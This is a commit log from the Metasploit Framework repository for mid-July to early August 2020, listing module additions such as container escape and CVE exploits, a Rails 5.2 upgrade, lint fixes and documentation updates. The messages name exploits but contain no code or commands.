gwillcox-r7 d27edb46d8 Add further corrections from review and update calls to count_containers so we properly print out the actual number of running containers and the number of total containers (logic was correct but order was backwards)) 2020-08-05 18:59:24 -05:00
gwillcox-r7 f1b7627f44 Apply RuboCop updates to the module. 2020-08-05 18:01:14 -05:00
gwillcox-r7 5f23462c78 Update documentation to add in a new scenario and to also explain scenario 2 a bit better 2020-08-05 17:55:28 -05:00
gwillcox-r7 9e7c353a2b Reorder some logic, replace some print_good statements with print_error, and generally make code changes to ensure that we print out if a container system exists on a target, but if we don't have permissions to list what its running that we alert the user of this and print a properly highlighted message that informs them of this, without storing information into any loot files 2020-08-05 17:46:18 -05:00
Metasploit 29050882a7 automatic module_metadata_base.json update 2020-08-05 17:14:42 -05:00
bwatters ba7f1ea486 Land #13897, Fix dangling reference issue in cve_2020_0688_service_tracing.rb
and filesystem.rb

Merge branch 'land-13897' into upstream-master
2020-08-05 17:04:15 -05:00
gwillcox-r7 7989005a12 Update 'runnable' command so that it can enumerate if container software is installed on the host even if the user isn't the 'root' user. 2020-08-05 16:38:39 -05:00
adfoster-r7 18b2c32c78 Land #13831, update to rails 5.2 2020-08-05 21:05:49 +01:00
gwillcox-r7 94d7d766c8 Land #13191, Add addtional sqlmap and jtr files to check_external_scripts.rb 2020-08-05 12:51:21 -05:00
gwillcox-r7 b524e5676f Apply RuboCop fixes to tools/dev/check_external_scripts.rb 2020-08-05 11:48:55 -05:00
gwillcox-r7 38e116d5be Add in fix to prevent us from having to clone the sqlmap project every time that we want to decloak another sqlmap file 2020-08-05 11:40:49 -05:00
gwillcox-r7 5460e35e84 Add in additional checks to the decloak() function to check if python or python3 is installed and to try both options, to try ensure the git repo is cloned correctly, and to make sure that operations complete successfully before moving onto the next one. Also added in fixes from review notes for minor issues. 2020-08-05 11:10:39 -05:00
bwatters 059c3cd091 Land #13939, Fix up lib/postgres/postgre-pr/message.rb's self.read function
to Avoid nil Errors After Calling stream.read_exactly_n_bytes

Merge branch 'land-13939' into upstream-master
2020-08-05 09:00:05 -05:00
Jericho 41e22992ff typo and touch-ups to desc
typo and touch-ups to desc
2020-08-04 16:59:57 -06:00
Spencer McIntyre 0e5dceb922 Add documentation for the Jupyter login scanner 2020-08-04 18:12:50 -04:00
Spencer McIntyre 1c8c3dd675 Add a Jupyter notebook / lab login scanner 2020-08-04 18:12:09 -04:00
gwillcox-r7 a92ffe4486 Fix logic bugs I introduced with my last fix 2020-08-04 16:20:49 -05:00
gwillcox-r7 be4d5d90bb Update fix to use 'if' statement rather than 'unless' as this makes more sense here. 2020-08-04 14:58:01 -05:00
Metasploit eab6bc303b automatic module_metadata_base.json update 2020-08-04 14:49:00 -05:00
bwatters fade2c76b5 Land #13904, Added Module: priviledged docker container escape
Merge branch 'land-13904' into upstream-master
2020-08-04 14:39:17 -05:00
gwillcox-r7 307dcc9b19 Add further checks to ensure that the 'type' value does not cause issues if it is 'nil' 2020-08-04 14:32:21 -05:00
gwillcox-r7 c196d9b733 Fix up lib/postgres/postgre-pr/message.rb and its self.read function so that it will handle cases where stream reads might not return any bytes at all, resulting in length being nil 2020-08-04 14:19:56 -05:00
bwatters f49bf7b09a Land #13894, unlock bcrypt
Merge branch 'land-13894' into upstream-master
2020-08-04 08:51:53 -05:00
h00die 41058775b3 add sharphound exe, rubocop, and final update run 2020-08-04 09:06:45 -04:00
adfoster-r7 ddd7a0db80 Land #13936, fix error message when a module is run with no selected payload 2020-08-04 13:51:39 +01:00
h00die 9663d3378f add sqlmap decloak 2020-08-04 08:48:30 -04:00
h00die dc5fefcb20 update sharphound and john 2020-08-04 08:48:23 -04:00
h00die 42b2f306d1 adding udf and john to external scripts 2020-08-04 08:46:47 -04:00
Metasploit bfd51c0034 automatic module_metadata_base.json update 2020-08-04 07:40:44 -05:00
adfoster-r7 2efcb8d5cd Land #13194, bloodhound cleanup 2020-08-04 13:32:01 +01:00
gwillcox-r7 8a156abdb4 Fix up ExploitError module inside exceptions.rb to properly propagate errors to the end user 2020-08-03 17:14:24 -05:00
Metasploit b1f902006d automatic module_metadata_base.json update 2020-08-03 14:22:50 -05:00
gwillcox-r7 6ed05df308 Land #13517, Documalis Free PDF Editor and Free PDF Scanner JPEG PDF Stack Buffer Overflow 2020-08-03 14:11:50 -05:00
gwillcox-r7 b64e843d9f Remove CVE reference for now until we can add in a proper CVE reference, fix some alignment issues for Notes section 2020-08-03 13:06:45 -05:00
Jeffrey Martin f69dedf40b update payload sizes for mettle 1.0.2 gem 2020-08-03 12:32:33 -05:00
h00die bed04f3529 h3 instead of bolds in docs 2020-08-03 13:08:39 -04:00
h00die 0ca7581b67 disk write method success 2020-08-03 13:08:39 -04:00
h00die 2dc04709e7 less privs needed 2020-08-03 13:08:39 -04:00
h00die dac3cbcbcd more options, more optimizations 2020-08-03 13:08:39 -04:00
h00die 498a94a9c0 bloodhound cleanup 2020-08-03 13:08:39 -04:00
gwillcox-r7 2fe92f9325 Land #13903, Allow OpenVAS handler to import vulns without references 2020-08-03 11:59:58 -05:00
Jeffrey Martin 7e67a9bf35 update to latest released payload gems 2020-08-03 11:47:53 -05:00
Jeffrey Martin 9aa26d1208 Merge upstream into 6.x 2020-08-03 11:43:47 -05:00
dwelch-r7 1bf75e338f delete commented out code 2020-08-03 17:34:49 +01:00
gwillcox-r7 513f2dac9b Add in Notes section to exploit 2020-08-03 11:00:17 -05:00
Jeffrey Martin dee523f9e7 load to mitigate first missing db connection
When calling `first` in Rails 5.2 the connection is not found
however by forcing the records to load with `to_a` which happens to
function correctly the call is then sent to `Array.first`
2020-08-03 10:51:18 -05:00
gwillcox-r7 b13b3b3d77 Add in a temp valid CVE number to see if that will get builds to pass or not 2020-07-31 17:49:14 -05:00
gwillcox-r7 8ad94e5484 Remove trailing new line at end of the line that was causing the last commit to fail for reasons other than the CVE being missing 2020-07-31 17:47:58 -05:00
gwillcox-r7 2d5fa912c3 Apply fixes to documentation to fix some errors and make it msftidy_docs.rb compliant. Also apply RuboCop updates to the module 2020-07-31 17:36:51 -05:00
gwillcox-r7 e355bc783c Update the module's description and title to be more accurate, and also remove the EDB field and replace it with a temporary CVE field 2020-07-31 16:07:33 -05:00
gwillcox-r7 96859ba492 Add in the proper instructions corresponding to the gadgets that we use for the SEH handler overwrite within the exploit 2020-07-31 15:50:49 -05:00
gwillcox-r7 907bedca34 Edit up the exploit to correct the size calculation logic so it correctly calculates the maximum size of the payload and ensures we don't overrun this. 2020-07-31 15:36:37 -05:00
María Belén Tualombo Chimbo b2640d40ee downcase improvement for actions tab completion 2020-07-31 13:59:14 -04:00
Jeffrey Martin c43df01e9e remove stale comment 2020-07-31 12:03:12 -05:00
Jeffrey Martin 1fdcde9d03 adjust vuln logic as nil service should be valid 2020-07-31 11:57:43 -05:00
Jeffrey Martin 1e348e0a90 add root path of endpoints that accept :id in path
When requesting all records of a type :id is not supplied. A behavior change
in `sinatra` now report a `param` of the missing object with value `nil`.
Since this parameter would be used as a search term further down the stack and
most objects cannot have `:id` = `nil` exposing the additional path is needed.
2020-07-31 11:56:52 -05:00
Jeffrey Martin 8a86cad4a0 remove commented lines not needed 2020-07-31 11:56:52 -05:00
Jeffrey Martin 10e6c7a242 add missing fixture 2020-07-31 11:56:52 -05:00
Jeffrey Martin 0b65266ac1 adjust migration to proxy call to ActiveRecord
By adding proxy method the call to ActiveRecord::Migrator.migrations_paths
is decoupled from the migration task allowing more flexibility for the
underlying migration set selection to change in future Rails versions.
2020-07-31 11:56:51 -05:00
Jeffrey Martin ffee2a5a43 remove file no longer needed with rails 5 2020-07-31 11:56:51 -05:00
Jeffrey Martin 2c92d17ed9 refactor migration process for Rails 5
As noted in https://github.com/rails/rails/issues/36544 using
ActiveRecord migrations internally is not truly supported. This
workaround is valid for Rails 5 and might be easily adjusted
in Rails 6 although that is still TBD.
2020-07-31 11:56:51 -05:00
Jeffrey Martin 41776f093c adjust xml spec to use FactoryBot for workspace 2020-07-31 11:56:51 -05:00
Jeffrey Martin 89d010a533 remove rails_bigdecimal_fix with rails 5 bump 2020-07-31 11:56:50 -05:00
Jeffrey Martin 772a24cb25 enforce json_rpc_spec to treat db as disabled 2020-07-31 11:56:50 -05:00
Jeffrey Martin 54036d1f60 bump thread allowed by rspec, needs investigation 2020-07-31 11:56:50 -05:00
Jeffrey Martin 5d1c4dafa1 begin adjust migrations and remove old test
removed connection tests are from rails 3 expectations
2020-07-31 11:56:50 -05:00
Jeffrey Martin aeb6247e8e adjust vuln connection boundaries for rails 5 2020-07-31 11:56:50 -05:00
Jeffrey Martin d13c463421 Rails 5 file validator need guard for nil 2020-07-31 11:56:49 -05:00
Jeffrey Martin 07cbe426e2 Rails 5, all models inherit from ApplicationRecord
ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior.
https://edgeguides.rubyonrails.org/upgrading_ruby_on_rails.html#active-record-models-now-inherit-from-applicationrecord-by-default

Deprecated Relation#uniq use Relation#distinct instead.
https://edgeguides.rubyonrails.org/5_0_release_notes.html#active-record-deprecations
2020-07-31 11:56:49 -05:00
Jeffrey Martin 8fac591f7a rails 5.2 update 2020-07-31 11:56:42 -05:00
María Belén Tualombo Chimbo 372a0be0e1 minor changes 2020-07-31 10:47:37 -04:00
María Belén Tualombo Chimbo 091481b783 changes requested for the conditionality system for module OPTIONS/ACTIONS/TARGETS 2020-07-31 10:44:12 -04:00
María Belén Tualombo Chimbo 938173feb3 [GSoC] Ev1 - Conditionality system for module OPTIONS/ACTIONS/TARGETS 2020-07-31 10:28:21 -04:00
Metasploit d951c37e6f automatic module_metadata_base.json update 2020-07-31 08:17:38 -05:00
Spencer McIntyre a32d4c2a20 Land #13875, CVE-2020-8010 & CVE-2020-8012 2020-07-31 09:08:36 -04:00
Spencer McIntyre 2fb89f47c2 Apply suggestions from msftidy_docs for nimcontroller_bof 2020-07-31 09:08:13 -04:00
Metasploit 37e0c7d017 Bump version of framework to 5.0.102 2020-07-30 12:02:52 -05:00
stealthcopter 10e591ae24 Randomized exploit filenames 2020-07-30 17:35:30 +01:00
stealthcopter f424887536 Using upload_and_chmodx function and linting 2020-07-30 17:04:45 +01:00
stealthcopter ad80baa71e Added loot and lxc table formatting 2020-07-30 16:52:41 +01:00
gwillcox-r7 b6bce114ea Add in further edits to the library code to remove the possiblity of dangling handles and also update the module code accordingly. 2020-07-30 10:45:19 -05:00
María Belén Tualombo Chimbo 9d09e7c2b7 pull request changes requestested for the automatic action commands system 2020-07-30 11:41:34 -04:00
h00die d366666418 add Mikrotik SwOS 2020-07-30 11:29:25 -04:00
Spencer McIntyre a7274afd46 Add an optional delay when executing PSExec commands 2020-07-30 09:45:22 -04:00
Tim W 0b513d6c51 remove debug logging from the kernel exploit 2020-07-30 18:10:26 +08:00
Tim W 277d7dcff2 add debug logging to javascript exploit 2020-07-30 17:38:59 +08:00
Spencer McIntyre 2382d7530c Land #13900, Add Packet::Header#include? to check for the presence of headers in a case-insensitive manner 2020-07-29 18:36:24 -04:00
Spencer McIntyre 15eeceef1f Land #13921, make default prompt always display running major # 2020-07-29 17:40:02 -04:00
Metasploit c4057f161e automatic module_metadata_base.json update 2020-07-29 16:20:57 -05:00
gwillcox-r7 2ef43ab7d0 Land #13920, CVE-2020-1147 SharePoint Deserialization RCE 2020-07-29 16:10:32 -05:00
gwillcox-r7 17c26b098b Ninja edit to make sure that if we fail to authenticate to the server, we return CheckCode::Unknown rather than CheckCode::Safe 2020-07-29 16:08:51 -05:00
Spencer McIntyre 4fa657d6eb Fix a bunch of documentation typos and minor code cleanups 2020-07-29 16:30:44 -04:00
Metasploit 528b294536 automatic module_metadata_base.json update 2020-07-29 14:50:42 -05:00
Spencer McIntyre a886177b96 Land #13837, Add FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation module 2020-07-29 15:40:47 -04:00
Jeffrey Martin 0bd2a295d0 make default prompt always display running major # 2020-07-29 11:40:37 -05:00
Spencer McIntyre 7af4297e86 Add the exploit for CVE-2020-1147 2020-07-29 11:58:38 -04:00
María Belén Tualombo Chimbo b710cfae95 [GSoC] Ev2 - Easier actions interaction system for modules implemented 2020-07-29 11:46:30 -04:00
Metasploit 2cc1373a5f automatic module_metadata_base.json update 2020-07-28 17:31:21 -05:00
Shelby Pace 18b5ddbfdc Land #13891, add Baldr file upload rce 2020-07-28 17:20:21 -05:00
Shelby Pace 768d104f12 randomize os, delete payload 2020-07-28 17:19:26 -05:00
Metasploit d4057f5f27 automatic module_metadata_base.json update 2020-07-28 17:10:15 -05:00
gwillcox-r7 d7a27b7cd8 Land #13878, Add Telegram Message Client 2020-07-28 16:58:05 -05:00
Shelby Pace 99cf54977f rubocop 2020-07-28 16:48:32 -05:00
Shelby Pace c79c9fc280 reverse xor arguments 2020-07-28 16:47:35 -05:00
gwillcox-r7 8c560f81e8 Apply msftidy_docs.rb fixes to the documentation and fix two minor captialization issues 2020-07-28 16:25:24 -05:00
gwillcox-r7 e89bae5b51 Apply RuboCop module changes. Also update documentation file to remove some extra small sections that are not needed, and also to move the documentation from the module to the proper documentation file. 2020-07-28 16:14:29 -05:00
gwillcox-r7 50853fe109 Make improvements from recommendation and also update the module's documentation so its more intutitive for people not familiar with Telgram's bots 2020-07-28 15:41:05 -05:00
h00die 94e36a2160 Land #13896, updates to msftidy_docs and ERB for doc generation 2020-07-28 15:39:00 -04:00
Spencer McIntyre 428ce72108 Use colon instead of em-dash and add a URL comment to the doc template 2020-07-28 08:49:57 -04:00
Ege Balcı 26f869f860 Update modules/exploits/multi/http/baldr_upload_exec.rb 2020-07-28 11:07:46 +03:00
Ege Balcı fb745f78cc Update modules/exploits/multi/http/baldr_upload_exec.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-28 10:53:16 +03:00
Ege Balcı 5d49367726 Update modules/exploits/multi/http/baldr_upload_exec.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-28 10:52:37 +03:00
Ege Balcı fef9a23692 Update modules/exploits/multi/http/baldr_upload_exec.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-28 10:51:03 +03:00
Tim W 5566e3b4bc use platform-signed exec binary by default 2020-07-28 14:25:04 +08:00
Metasploit d631448cbe automatic module_metadata_base.json update 2020-07-27 15:34:17 -05:00
Spencer McIntyre 189db5ec7e Land #13914, move config_changes on plex module 2020-07-27 16:24:27 -04:00
h00die 5a40c6dc00 move config_changes 2020-07-27 15:35:05 -04:00
Niboucha Redouane f48ed5027f test #call_function, and not methods that might be implemented on specific DBMS only 2020-07-27 16:38:07 +02:00
Metasploit 0202b78fd9 automatic module_metadata_base.json update 2020-07-27 09:19:42 -05:00
Spencer McIntyre 50281473f1 Remove tests for removed functions 2020-07-27 09:57:41 -04:00
William Vu c6fd9a4b08 Land #13895, SAP RECON CVE-2020-6287 improvements 2020-07-27 08:51:16 -05:00
Tim W 79adcf7904 Add module for iOS 7.1.2 2020-07-27 15:05:31 +08:00
Niboucha Redouane 89fef9f9fe Refactor and fix some specs, avoid sleeping in time-based shared examples 2020-07-27 03:15:16 +02:00
Spencer McIntyre 7d6f307811 Merge branch 'feat/mod-docs-info' into feat/tidy-docs 2020-07-26 13:18:36 -04:00
Spencer McIntyre 9ba9690c14 Put more information into the generated module docs 2020-07-26 13:14:16 -04:00
stealthcopter f4ae295572 added autocheck mixin 2020-07-26 10:10:13 +01:00
Matthew Rollings be1fa2ae95 Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:51 +01:00
Matthew Rollings 0533167418 Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:38 +01:00
Matthew Rollings ce22c58a1d Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:21 +01:00
Matthew Rollings 140bf04d87 Update modules/exploits/linux/local/docker_privileged_container_escape.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:44:07 +01:00
Matthew Rollings f379f56b86 Update documentation/modules/exploit/linux/local/docker_priviledged_container_escape.md
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-26 09:43:58 +01:00
Brendan Coles 95b99ce5cf Use Msf::Exploit::Remote::AutoCheck 2020-07-26 08:04:37 +00:00
Brendan Coles 0ac11a58da Remove indentation 2020-07-26 08:04:37 +00:00
Brendan Coles 476281d4bd Use Msf::Post::Unix.is_root? 2020-07-26 08:04:37 +00:00
Brendan Coles cbbd4fc517 Add CVE-2020-7457 exploit.c 2020-07-26 08:04:37 +00:00
Brendan Coles fbc77f7576 Add FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation module 2020-07-26 08:04:37 +00:00
Metasploit 016e2bdf15 automatic module_metadata_base.json update 2020-07-26 00:48:33 -05:00
Brendan Coles b855b80d9f Land #13899, Ensure sudo password is removed from filesystem after use
post/multi/manage/sudo: Use `register_file_for_cleanup` to ensure the clear
text sudo password is removed from the temporary file created in `/tmp/`.
2020-07-26 05:36:54 +00:00
Brendan Coles 09a766aed6 Land #13898, Fix error handling when an invalid API_KEY is specified
post/multi/gather/wlan_geolocate: Fix an issue where the API error
message is not parsed correctly when an invalid `API_KEY` is passed
to the geolocation API.
2020-07-26 04:38:25 +00:00
stealthcopter c2729841cc Linted and added better message when no containers found 2020-07-25 12:29:37 +01:00
stealthcopter 09994b3e51 Typos in readme 2020-07-25 12:17:56 +01:00
stealthcopter 3d3dcc503f Added docker priviledged container escape 2020-07-25 12:14:30 +01:00
Brent Cook 3887fb41b1 Allow OpenVAS import to import vulns without references.
Local scanning didn't show any results that had CVEs or BIDs, which the default OpenVAS import logic skips. This modifies the importer to allow for importing vulns even if they do not have references.
2020-07-25 03:18:39 -05:00
Spencer McIntyre 65f9b62c52 Initial outline of module doc info template 2020-07-24 18:09:52 -04:00
wetw0rk 8421b1a956 fixes, and format 2020-07-24 15:50:00 -05:00
gwillcox-r7 35e48c83bb Add in call to session.fs.dir.rmdir() in library code and in the module as sometimes the file might not be deleted otherwise. 2020-07-24 15:39:19 -05:00
Niboucha Redouane 3028e58589 Overload #include? to check the presence of HTTP headers in a case-insensitive manner 2020-07-24 18:29:50 +02:00
Ron Wills 2e84c6ea18 Used more appropriate api 2020-07-24 10:28:07 -06:00
Ron Wills 6592a0cc53 Clean up the temperary script with the clear text password in it
Removed the old unused clean up code
2020-07-24 10:16:52 -06:00
Tim W ac9c6174c6 fix #13779, fix error on invalid geolocation api key 2020-07-24 14:33:08 +08:00
Ege Balcı 7985eafda0 Add Baldr Botnet Panel RCE Module 2020-07-24 07:45:43 +03:00
gwillcox-r7 b5b8630a5b Fix minor RuboCop mistake 2020-07-23 22:11:51 -05:00
gwillcox-r7 88c10de36f Add in proposed changes to cve_2020_0688_service_tracing.rb and filesystem.rb so that we can properly create mount points without dangling handle references 2020-07-23 21:44:18 -05:00
Spencer McIntyre 73cace16a3 Add checks to msftidy_docs and update the template for them 2020-07-23 20:37:39 -04:00
Spencer McIntyre 13d7c5445a Address rubocop complaints 2020-07-23 18:10:07 -04:00
Spencer McIntyre dc0f254c0e Update the module docs for CVE-2020-6287 2020-07-23 18:02:43 -04:00
Spencer McIntyre ff4db5daea Add the REMOVE action to the exploit for CVE-2020-6287 2020-07-23 17:59:40 -04:00
Jeffrey Martin f7fb147e59 unlock bcrypt
The latest released bcrypt gem now compiles on arm 32-bit.
2020-07-23 16:33:45 -05:00
Spencer McIntyre 68614bcc3b Add check functionality for CVE-20220-6287 2020-07-23 14:46:06 -04:00
Metasploit 1bd4a8d752 Bump version of framework to 5.0.101 2020-07-23 12:07:28 -05:00
Niboucha Redouane 854df7e93b Add shared examples for SQLi::Common, and some tests for MySQLi 2020-07-23 18:54:20 +02:00
Metasploit 43575e91c8 automatic module_metadata_base.json update 2020-07-23 11:44:11 -05:00
William Vu 13a4339274 Land #13861, intel_sysret_priv_esc AutoCheck && cc 2020-07-23 11:34:30 -05:00
Metasploit 88809873f6 automatic module_metadata_base.json update 2020-07-23 11:31:56 -05:00
William Vu a89c966bbc Land #13852, SAP "RECON" CVE-2020-6287 aux module 2020-07-23 10:30:36 -05:00
William Vu e06511cb42 Land #13883, syntax error fix in Hardware Bridge 2020-07-23 10:07:33 -05:00
Spencer McIntyre e0046ef8f2 Randomize unnecessary values and set the secure attribute 2020-07-23 10:47:53 -04:00
wetw0rk 938342793e removed vuln-confirmation 2020-07-23 09:46:13 -05:00
William Vu 93df021c4a Land #13884, Linux::Priv#download_cmd removal 2020-07-23 09:36:39 -05:00
wetw0rk dbd6129ec4 if-vuln-check 2020-07-23 09:32:04 -05:00
Spencer McIntyre d108cd0da9 Address feedback for consistency within CVE-2020-6287 2020-07-23 10:31:46 -04:00
Metasploit 613c37f9d8 automatic module_metadata_base.json update 2020-07-23 08:59:44 -05:00
Brendan Coles 2379194ed0 Land #13886, post/multi/manage/sudo support password with shell metacharacters 2020-07-23 14:10:13 +00:00
Spencer McIntyre 593ddd8ac4 Add module docs for CVE-2020-6287 2020-07-23 09:47:22 -04:00
Ron Wills 6be25a00b6 Replaced file creation from shell script to the Msf::Post::File native API
Cleanup of the previous commit
2020-07-23 07:04:20 -06:00
Ron Wills 14d484aac0 Replaced file creation from shell script to the Msf::Post::File native API 2020-07-23 06:21:17 -06:00
Ron Wills eff9c9b914 Fixed shell script creation with passwords with special characters 2020-07-22 20:09:15 -06:00
Spencer McIntyre 2364b3f46c Fix the remaining rubocop issues for CVE-2020-6287 2020-07-22 19:18:42 -04:00
Spencer McIntyre 7b781ca12f Report a vuln in the CVE-2020-6287 module and fix xpath comparisons 2020-07-22 18:29:55 -04:00
Spencer McIntyre 2d43da2a39 Apply rubocop fixes for CVE-2020-6287 2020-07-22 18:04:11 -04:00
Spencer McIntyre ec9ee2baa7 Complete the exploit with privilege escalation through a role 2020-07-22 17:57:39 -04:00
William Vu bbb683f8c8 Land #13885, LDAPS support and updated modules 2020-07-22 16:48:26 -05:00
William Vu 2d6d2a811d Update module docs with Net::LDAP warning 2020-07-22 16:38:34 -05:00
William Vu 8e94fd55db Force OpenSSL::SSL::VERIFY_NONE
Thanks, @HynekPetrak!
2020-07-22 16:33:37 -05:00
William Vu 8528a62691 Update module docs 2020-07-22 15:45:26 -05:00
William Vu f601c49ba9 Default to LDAPS in vCenter Server vmdir modules 2020-07-22 15:40:10 -05:00
Metasploit 15ffea8467 automatic module_metadata_base.json update 2020-07-22 14:25:56 -05:00
William Vu f736b0192f Add LDAPS support and update vCenter vmdir modules 2020-07-22 14:23:00 -05:00
Shelby Pace 3dbb63241c Land #13853, bpf signed ext privesc improvements 2020-07-22 14:09:17 -05:00
William Vu 41457b21d9 Land #13868, vCenter vmdir CVE-2020-3952 hash dump 2020-07-22 14:00:44 -05:00
William Vu 3eb9bda8c5 Update module docs one final time
No need to show the test creds. Output is consistent now.
2020-07-22 13:24:55 -05:00
William Vu 797b22c41a Update module docs after recent changes 2020-07-22 12:47:21 -05:00
William Vu 903abd2110 Print the cleaned password and lockout policy
Don't be lazy!
2020-07-22 12:33:33 -05:00
William Vu 84c6b752ea Fix typo 2020-07-22 10:52:24 -05:00
Brendan Coles d986d27218 Remove Msf::Post::Linux::Priv.download_cmd 2020-07-22 15:45:50 +00:00
Brendan Coles 2f7cce9e41 hwbridge: fix syntax error introduced in aeed81de29 2020-07-22 15:30:47 +00:00
Metasploit 941dd6e6ec automatic module_metadata_base.json update 2020-07-22 09:53:34 -05:00
Shelby Pace bf4d0bf6ee Land #13828, add Zentao Pro rce 2020-07-22 09:42:11 -05:00
Shelby Pace be95c0e17e include autocheck 2020-07-22 09:40:25 -05:00
Shelby Pace 6c066a97ed add bcoles suggestions 2020-07-22 09:39:17 -05:00
Hynek Petrak 5458dcaa12 Merge pull request #2 from h00die/13868
add cracking support for dynamic_82
2020-07-22 16:28:55 +02:00
dwelch-r7 8272d556e6 Put in debug mode for initial land 2020-07-22 12:50:11 +01:00
Metasploit e2a8560ae0 automatic module_metadata_base.json update 2020-07-22 04:35:21 -05:00
adfoster-r7 a7e12bfa50 Land #13822, update to the latest rubocop version 2020-07-22 10:18:31 +01:00
adfoster-r7 d34ab2bd98 Land #13859, remove fail_with call from exim4_deliver_message_priv_esc check method 2020-07-22 10:16:45 +01:00
Ege Balcı f5e950cb75 Telegram Notification Module 2020-07-22 08:48:01 +03:00
h00die 83540f3a37 deleted variable 2020-07-21 19:33:31 -04:00
h00die a4c38a2be6 use libraries 2020-07-21 19:22:38 -04:00
h00die 5d5ee4da36 add cracking support for dynamic_82 2020-07-21 18:59:31 -04:00
adfoster-r7 7c60f1cae8 Land #13873, return sooner from the check command if the module does not implement a check method 2020-07-21 23:10:08 +01:00
dwelch-r7 8713313aca Add a stale bot for dealing with stale issues 2020-07-21 23:08:42 +01:00
Brent Cook 77526bd6f4 Merge pull request #23 from adfoster-r7/update-json-rpc-process-request-error-handling
Update json rpc process request error handling
2020-07-21 16:21:14 -05:00
Alan Foster 632f1a1205 Update json rpc process request error handling 2020-07-21 18:39:02 +01:00
William Vu d85e569705 Refactor for future hash types 2020-07-21 12:02:30 -05:00
wetw0rk 3d0a7313ef nimsoft sploit 2020-07-21 11:19:23 -05:00
William Vu a91a14441d Add source reference for "-" meta-attribute
Hat tip Hynek for https://github.com/vmware/lightwave.
2020-07-21 11:01:01 -05:00
William Vu 08a89d7e71 Add additional error checking 2020-07-21 09:55:33 -05:00
William Vu da709b1ee4 Update module doc 2020-07-21 09:38:54 -05:00
Metasploit e216d343c2 automatic module_metadata_base.json update 2020-07-21 09:29:11 -05:00
adfoster-r7 e37b27d3bd Landing #13874, fix false positive authentication error with shodan search module 2020-07-21 15:19:30 +01:00
Hynek Petrak 93ce10f511 fix unpacking userpassword entry 2020-07-21 11:23:58 +02:00
William Vu 5f5a2e7508 Refactor code (untested) 2020-07-21 01:09:46 -05:00
Brent Cook 93c96209c0 Merge pull request #22 from wvu-r7/pr/13873
Fix RPC support by raising instead of returning when checking for check
2020-07-20 14:22:15 -05:00
William Vu d494eb046d Fix RPC support by raising instead of returning 2020-07-20 14:04:38 -05:00
Alan Foster 8e561c4eb5 Fix false positive with shodan search module 2020-07-20 18:12:43 +01:00
Brent Cook f70043bf4e check if a module has a check method first
Currently, if you run 'check' on a module that does not have a check
method, it will first complain that you have not set the 'RHOSTS'
option, whether it's an exploit module or a scanner. Then, once you set
RHOSTS (or whatever else it needs), it will then say 'Psych! I didn't
have a method in the first place!'.

This switches that logic around so that it first alerts you that the
module doesn't have support in the first place. It also similarizes more
logic between aux and exploit for some future convergence possibility.
2020-07-20 11:09:46 -05:00
dwelch-r7 53a97f8118 Merge pull request #13872 from adfoster-r7/add-needs-issue-template-bot-responses
Add needs issue template bot responses
2020-07-20 16:28:29 +01:00
Metasploit 253ddef06d automatic module_metadata_base.json update 2020-07-20 10:26:11 -05:00
William Vu 6211fea29f Land #13854, f5_bigip_tmui_rce improvements 2020-07-20 10:15:19 -05:00
Alan Foster 072080f5b5 Add needs issue template bot responses 2020-07-20 15:59:38 +01:00
Hynek Petrak a4da09111e Store credentials with create_credential 2020-07-20 11:15:09 +02:00
Hynek Petrak 6e1fb5f143 Added password hash dump 2020-07-20 10:34:09 +02:00
wetw0rk d7ae3bd20c CVE-2020-8010 & CVE-2020-8012 aka Sing About Me, I'm Dying Of Thirst 2020-07-19 17:57:55 -05:00
h00die 61a4fa61e5 simplify wifi block 2020-07-19 11:58:49 -04:00
h00die 5706e901d4 review comments 2020-07-19 11:42:31 -04:00
Brendan Coles 9d2b706d92 Use AutoCheck mixin and prefer cc over gcc 2020-07-18 23:31:34 +00:00
h00die e5e5faf084 add new field processors 2020-07-18 12:20:33 -04:00
h00die 9a4a6fbca5 fix unused variable 2020-07-18 07:47:33 -04:00
h00die eaf7161cae mikrotik 2020-07-18 07:45:24 -04:00
stealthcopter f3a3357cd7 Review changes and added optional CMD arg 2020-07-18 12:11:35 +01:00
Brendan Coles 96fea955d0 Remove fail_with from check method 2020-07-18 10:00:14 +00:00
Erik Wynter 7981672716 Merge pull request #2 from space-r7/zentao-pro-changes
Replace ret CheckCode with fail_with()
2020-07-17 18:13:19 -04:00
Erik Wynter 368adc26ef Update zentao_pro_rce.rb 2020-07-17 18:12:27 -04:00
William Vu d5d4716b1c Update TMSH escape reliability notes
What's strange is that if the stars align, like if the system has been
"used" enough, the exploit is incredibly reliable. Maybe my test
environment is bonkers.
2020-07-17 06:26:00 -05:00
William Vu c082ccd337 Make Meterpreter the default target 2020-07-17 06:10:53 -05:00
William Vu 1ae689ce5f Improve robustness by refactoring error handling
tmshCmd.jsp is extremely unreliable!
2020-07-17 05:23:42 -05:00
Brendan Coles fe773c0422 Use Msf::Exploit::Remote::AutoCheck and Msf::Post::Linux::Compile 2020-07-17 10:06:42 +00:00
Spencer McIntyre d1e2c75b3e Initial PoC of CVE-2020-6287 that adds a user 2020-07-17 02:03:43 -04:00
Metasploit 73bd6c43fe automatic module_metadata_base.json update 2020-07-16 15:10:02 -05:00
Spencer McIntyre ffebf48242 Land #13830, Add QEMU/KVM target for CVE-2019-0708 2020-07-16 16:00:16 -04:00
Metasploit 2d55b0d2e7 Bump version of framework to 5.0.100 2020-07-16 12:06:38 -05:00
gwillcox-r7 7d3653280f Land #13848, Add CDATA OLT telnet backdoor wordlist 2020-07-16 11:32:06 -05:00
Metasploit 3b1b6dd011 automatic module_metadata_base.json update 2020-07-16 10:38:10 -05:00
bwatters eb863048f0 Land #13741, CVE-2020-5741: Plex rce on Windows
Merge branch 'land-13741' into upstream-master
